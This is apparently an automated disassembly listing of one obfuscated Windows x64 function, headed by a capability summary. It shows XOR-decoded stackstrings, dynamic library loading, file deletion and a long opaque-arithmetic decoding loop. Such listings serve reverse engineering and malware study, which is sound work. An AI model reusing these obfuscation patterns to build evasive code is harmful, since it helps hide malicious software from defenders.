Function at 0x14016ff00
Capabilities:
Accept command line arguments
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Create directory
Delete file
Encode data using xor
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5cb8]
mov eax, 0x5db8
call fcn.14038d7d0
sub rsp, rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x44]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
movsd xmm0, qword [str.XETWK_]
movsd qword [rbp + 0x330], xmm0
mov ecx, dword [str.YRS_]
mov dword [rbp + 0x338], ecx
cmp byte [0x140448c5b], r15b
je 0x14016ffa2
mov r8d, r15d
lea r9, [rbp + 0x330]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14016ff70
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x330], r15
mov dword [rbp + 0x338], r15d
movsd xmm0, qword [str.fYQLN_IYaeL_]
movsd qword [rbp + 0x340], xmm0
mov eax, dword [0x1404480a0]
mov dword [rbp + 0x348], eax
lea rcx, [rbp + 0xdb0]
call fcn.140143e80
nop
mov rcx, rax
call fcn.140135dc0
mov rbx, rax
lea rax, [rbp + 0xdd0]
mov qword [rbp + 0x5d08], rax
cmp byte [rbp + 0x34b], 0
je 0x140170052
mov r8d, r15d
lea r9, [rbp + 0x340]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140170020
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xdd0]
call fcn.140136a10
nop
lea rax, [rbp + 0x340]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140170074
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0xdd0]
call fcn.14013ab10
nop
mov r8, rbx
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0xdf0]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov rcx, 0xffffffff80000002
call fcn.1401537b0
nop
lea rcx, [rbp + 0xdf0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xdb0]
call fcn.1401362c0
mov qword [rbp + 0x340], r15
mov dword [rbp + 0x348], r15d
movsd xmm0, qword [str.v_fkQ_RNN_]
movsd qword [rbp + 0x2c0], xmm0
movzx eax, word [0x14044a0d8]
mov word [rbp + 0x2c8], ax
cmp byte [0x14044a0d9], 0
je 0x140170152
mov r8d, r15d
lea r9, [rbp + 0x2c0]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa
jl 0x140170120
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x1c8], rax
xor r8d, r8d
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0xe10]
call fcn.1401ae000
nop
lea rcx, [rbp + 0xe10]
call fcn.140157bf0
nop
lea rcx, [rbp + 0xe10]
call fcn.14013ec20
cmp byte [rbp + 0x2c9], 0
je 0x1401701e2
mov r8d, r15d
lea r9, [rbp + 0x2c0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa
jl 0x1401701b0
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rbp + 0x2c0], r15
mov word [rbp + 0x2c8], r15w
movsd xmm0, qword [0x1404484d8]
movsd qword [rbp + 0x270], xmm0
movzx eax, byte [0x1404484e0]
mov byte [rbp + 0x278], al
mov r8d, r15d
lea r9, [rbp + 0x270]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x140170230
lea rax, [rbp + 0x270]
mov qword [rbp + 0x1d0], rax
xor r8d, r8d
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xe30]
call fcn.1401ae000
nop
lea rcx, [rbp + 0xe30]
call fcn.140157bf0
nop
lea rcx, [rbp + 0xe30]
call fcn.14013ec20
cmp byte [rbp + 0x278], 0
je 0x1401702f2
mov r8d, r15d
lea r9, [rbp + 0x270]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x1401702c0
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rbp + 0x270], r15
mov byte [rbp + 0x278], r15b
lea rcx, [rbp + 0xe50]
call fcn.140143dd0
mov rcx, rax
call fcn.140135dc0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [rbp + 0xe50]
call fcn.1401362c0
mov rax, qword [0x140448380]
mov qword [rbp + 0x1d8], rax
cmp byte [0x140448387], 0
je 0x140170392
mov r8d, r15d
lea r9, [rbp + 0x1d8]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140170360
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x38]
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x3520]
call fcn.14014e3f0
nop
lea rcx, [rbp + 0x3520]
call fcn.14013e470
mov qword [rbp + 0x1d8], r15
lea rcx, [rbp + 0x35c8]
call fcn.14013e4b0
lea rcx, [rbp + 0x35c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
call fcn.140167390
call fcn.140164900
test al, al
je 0x1401a1772
mov rbx, qword [rsi + 8]
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xe70]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
inc r8
cmp word [rbx + r8*2], 0
jne 0x140170415
mov rdx, rbx
lea rcx, [rbp + 0xe70]
call fcn.140140690
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xe70]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xe70]
call fcn.14014cf90
lea r9, [rbp + 0x5d00]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xe90]
call fcn.14014d2c0
nop
lea rcx, [rbp + 0xe70]
call fcn.14013ec20
mov byte [rbp + 0x8b8], 0x20
mov byte [rbp + 0x8b9], WSASetLastError
mov byte [rbp + 0x8ba], 0x5f
mov byte [rbp + 0x8bb], 0x5c
mov byte [rbp + 0x8bc], 0xfa
xor eax, eax
mov qword [rbp + 0x8bd], rax
mov dword [rbp + 0x8c5], eax
mov word [rbp + 0x8c9], ax
mov byte [rbp + 0x8cb], al
movabs r14, 0x4cfe5c733c22852b
movabs r12, 0xd90d8880d72da235
movabs r13, 0x8893c8d763bca1b7
movzx edi, byte [rbp + 0x5d00]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, r15
movabs r8, 0x283cdfd4b9b8803f
cmp r11, 0x14
jae 0x1401712a9
movzx r10d, byte [rbp + r11 + 0x8b8]
mov ebx, r10d
cmp rax, r11
ja 0x1401712a0
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x14017054f
lea rdx, [r11 + r8]
mov rcx, rbx
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rbx
add rdi, rdx
add dil, 0x47
jmp 0x140170596
je 0x140171219
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140171179
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140171142
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140171120
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401710cc
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140171077
cmp r9, r11
ja 0x140171297
lea rcx, [r9 + 3]
cmp rax, rcx
jae 0x1401705bf
lea rdx, [r11 + r14]
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x2d
jmp 0x1401705f3
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x14017105a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140171031
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x14017100f
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x140170fe8
lea rcx, [rax + r9]
cmp rcx, r11
jbe 0x140170c7c
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140170c56
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x140170c24
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x140170bf9
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x140170bd3
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x140170bab
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x140170b82
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140170b59
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x140170b30
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x140170af9
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140170600
lea rax, [r9 + 1]
lea r9, [rax + 0x80]
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140171272
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x14017124d
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1401707f2
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1401707d9
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1401707bb
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x140170a91
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x140170a30
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1401709da
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1401709aa
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x140170600
lea rax, [r9 + 0x3e8]
lea r9, [rax + 9]
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x14017096f
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140170946
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x14017091d
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1401708f8
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1401708cc
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1401708a6
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x140170877
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140170845
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x14017081f
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x140170600
lea rax, [r9 + 0x10]
lea r9, [rax + 0x2a]
jmp 0x140170600
lea r8, [r11 + r12]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edi, bl
sub dil, cl
sub dil, 0x73
add dil, r8b
jmp 0x1401705f3
lea rdx, [r11 + r13]
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
dec dil
jmp 0x140170596
movabs rdx, 0x381a092df04ba139
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x71
movabs r8, 0x283cdfd4b9b8803f
jmp 0x140170523
movabs r8, 0x67f2e399e1142958
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x68
jmp 0x140171096
movabs r8, 0x177923f06da328da
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 5
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
inc r9
dec r11
inc r11
jmp 0x140170503
movabs r8, 0xc6ff6446fa32285c
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 0x3e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
dec r11
inc r11
jmp 0x140170503
movabs r8, 0x7685a49d86c127de
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x12
jmp 0x1401710eb
movabs r8, 0x260be4f413502760
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, gethostbyaddr
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
add rax, r9
jmp 0x140171160
movabs rdx, 0xd592254a9fdf26e2
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x2e
jmp 0x140171160
movabs r8, 0x851865a12c6e2664
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 0x22
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
jmp 0x140171197
movabs r8, 0x349ea5f7b8fd25e6
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x4a
add dil, r8b
jmp 0x1401711cd
movabs r8, 0xe424e64e458c2568
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
movabs rdx, 0x1af48726a4f1a42d
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x3b
mov byte [rbp + r11 + 0x8b8], dil
inc r11
jmp 0x140170503
movabs r8, 0xca7ac77d3180a3af
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, 0x37
add dil, r8b
cmp r9, 1
jb 0x1401709ca
movabs r8, 0x8412ec1ff83191a
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r8b
lea edi, [rdx*2 - 0x6c]
jmp 0x140171099
movabs r8, 0x7a0107d3be0fa331
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x57
add dil, r8b
cmp rax, 0xa
jae 0x140170f86
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jbe 0x140170eaf
movabs r8, 0xe37fb2237d19142e
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x42
jmp 0x1401709fb
movabs r8, 0x2987482a4a9ea2b3
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, 0x1b
add dil, r8b
lea rcx, [rax + r9]
cmp rcx, 0x200
je 0x140170fb7
lea rcx, [r9 + 8]
cmp rax, rcx
jbe 0x140170db5
movabs r8, 0x968155b040f68f03
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x15
jmp 0x140170a51
movabs rdx, 0xcdf62ab368cf1f02
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0xe
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
movabs r8, 0x7d7c6b09f55e1e84
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, gethostbyaddr
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
jmp 0x1401711cd
movabs r8, 0x2d02ab6081ed1e06
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x2a
add dil, r8b
jmp 0x140171197
movabs r8, 0xdc88ebb70e7c1d88
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
jmp 0x140171160
movabs rdx, 0x8c0f2c0d9b0b1d0a
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x46
add rax, r9
jmp 0x140171160
movabs r8, 0x3b956c64279a1c8c
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_shutdown
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
jmp 0x1401710eb
movabs rdx, 0xeb1bacbab4291c0e
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x62
dec r11
inc r11
jmp 0x140170503
movabs r8, 0x9aa1ed1140b81b90
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 8
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
inc r9
dec r11
inc r11
jmp 0x140170503
movabs r8, 0x4a282d67cd471b12
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x7e
jmp 0x140171096
lea rcx, [r9 + 5]
cmp rax, rcx
jae 0x140170ca8
movabs rdx, 0x283cdfd4b9b8803f
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x47
jmp 0x140170ab5
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140170ce8
movabs rdx, 0x99fcb8e678450a56
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x5a
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140170d17
movabs r8, 0x2c5d7735b97a0ccc
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, getservbyname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
jmp 0x1401710eb
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140170d4b
movabs rdx, 0x7cd736df2ceb0d4a
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 6
dec r11
inc r11
jmp 0x140170503
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140170d82
movabs rdx, 0xcd50f688a05c0dc8
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x78
inc r9
dec r11
inc r11
jmp 0x140170503
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140170ab5
movabs r8, 0x1dcab63213cd0e46
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_inet_addr
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
jmp 0x140171096
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140170de4
movabs r8, 0xe6fb1559b4678f81
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, 0x79
jmp 0x140171096
inc rcx
cmp rax, rcx
jne 0x140170e1a
movabs rdx, 0x3774d50327d88fff
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
add dil, 7
inc r9
dec r11
inc r11
jmp 0x140170503
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140170e4b
movabs rdx, 0x28e213ff822b9179
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x4f
add rax, r9
jmp 0x140171160
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x140170e79
movabs rdx, 0x795bd3a8f59c91f7
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
add dil, 0x3f
jmp 0x140171160
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140170a54
movabs r8, 0x1a4f52fbdc7e92f3
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, 0x5b
add dil, r8b
jmp 0x1401711cd
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140170ef3
movabs r8, 0x33f971ccf08a14ac
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, 0x26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140170f25
movabs r8, 0xd4ecf11fd76c15a8
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostbyname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r8b
jmp 0x140171197
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140170f53
movabs rdx, 0x2566b0c94add1626
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0xa
jmp 0x140171160
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1401709fe
movabs r8, 0xb7c76f188c12189c
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edi, r10b
sub dil, cl
sub dil, 0x44
jmp 0x140171096
movabs r8, 0x58baee6b72f41998
add r8, r11
movzx ecx, r8b
and cl, r10b
add cl, cl
movzx edi, byte [rbp + r11 + 0x8b8]
sub dil, cl
sub dil, 0x28
add dil, r8b
add dil, r10b
jmp 0x1401710ee
movabs r8, 0xa934ae14e6651a16
add r8, r11
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostbyaddr
sub dl, cl
lea edi, [rdx + rdx]
sub dil, byte [rbp + r11 + 0x8b8]
add dil, r10b
add dil, r8b
jmp 0x140171197
movabs r8, 0x80529a156439889d
add r8, r11
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edi, bl
sub dil, cl
sub dil, 0x4b
add dil, r8b
jmp 0x140171197
movabs rdx, 0x2fd8da6bf0c8881f
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea edi, [rdx + rbx]
add dil, 0x27
jmp 0x140171160
movabs rdx, 0x3e6b9b6f967586a5
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x7d
dec r11
inc r11
jmp 0x140170503
movabs rcx, 0x9d781c1caf9385a9
add rcx, r11
and bl, cl
add bl, bl
sub cl, bl
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140171099
movabs r8, 0xfc849cc9c8b184ad
add r8, r11
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edi, bl
sub dil, cl
add dil, 0x45
add dil, r8b
movabs rdx, 0x307e0e96b93b9959
add rdx, r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 0x6f
add dl, r10b
mov byte [rbp + r11 + 0x8b8], dl
inc r9
dec r11
inc r11
jmp 0x140170503
movabs r8, 0xb175dcd6e5e8333
add r8, r11
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edi, bl
sub dil, cl
sub dil, 0x65
add dil, r8b
movabs r8, 0x80f7ce402cac99d7
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, dil
sub dl, cl
add dl, 0x1f
add dl, r10b
add dl, r8b
mov byte [rbp + r11 + 0x8b8], dl
add rax, r9
jmp 0x140171160
movabs rdx, 0xba9d9e23faed82b5
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea edi, [rdx + rbx]
add dil, 0xd
add rax, r9
jmp 0x140171160
movabs rdx, 0x6a23de7a877c8237
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x7f
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x140170503
movabs rdx, 0x19aa1ed1140b81b9
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0xf
movabs r8, 0xd1718de9a01d9a55
add r8, r11
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub dl, 0x53
add dl, r8b
movzx ecx, dl
mov byte [rbp + r11 + 0x8b8], cl
inc r9
add rcx, r9
sub r11, rcx
movabs rdx, 0xf9ae6dbe59d61a94
add rdx, r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 0xc
add dl, r10b
mov byte [rbp + r11 + 0x8b8], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
movabs rdx, 0x78b69f7e2d2980bd
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea edi, [rdx + rbx]
sub dil, 0x2b
movzx ecx, byte [rbp + r11 + 0x8b8]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140170503
movabs rdx, 0xe7a049847cdaa0bb
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea edi, [rdx + r10]
sub dil, 0x1d
jmp 0x1401704fe
movabs rcx, 0x972689db0969a03d
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x55
jmp 0x1401704e3
lea rdx, [rbp + 0x176330c]
jmp 0x1401712b0
lea rdx, [rbp + 0x6eb34b]
jmp 0x1401712b0
lea rdx, [rbp + 0x8b8]
lea rcx, [rbp + 0xe90]
call fcn.1401a7310
movzx r12d, al
mov byte [rbp + 0x5d08], 0
mov byte [rbp + 0x5d10], 0
mov byte [rbp + 0x5d18], 0
mov byte [rbp - 0x20], 0
mov byte [rbp - 0x1f], 0
mov byte [rbp - 0x1e], 0
mov byte [rbp - 0x1d], 0
mov byte [rbp - 0x78], 0
mov byte [rbp - 0x77], 0
mov byte [rbp - 0x76], 0
mov byte [rbp - 0x75], 0
mov byte [rbp - 0x74], 0
mov dword [rbp], r15d
xor r13b, r13b
mov eax, dword [rbp + 0x44]
cmp eax, 2
jle 0x1401713bf
mov rbx, qword [rsi + 0x10]
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xeb0]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x140171330
mov rdx, rbx
lea rcx, [rbp + 0xeb0]
call fcn.140140690
nop
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xeb0]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0xeb0]
call fcn.14014cf90
lea r9, [rbp - 0x73]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xed0]
call fcn.14014d2c0
nop
xor edx, edx
lea r8d, [rdx + 0xa]
lea rcx, [rbp + 0xed0]
call fcn.140156890
mov dword [rbp], eax
lea rcx, [rbp + 0xed0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xeb0]
call fcn.14013ec20
mov r13b, 1
mov eax, dword [rbp + 0x44]
cmp eax, 3
jle 0x1401716ef
mov rbx, qword [rsi + 0x18]
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xef0]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x1401713f0
mov rdx, rbx
lea rcx, [rbp + 0xef0]
call fcn.140140690
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xef0]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0xef0]
call fcn.14014cf90
lea r9, [rbp - 0x72]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xf10]
call fcn.14014d2c0
nop
lea rcx, [rbp + 0xef0]
call fcn.14013ec20
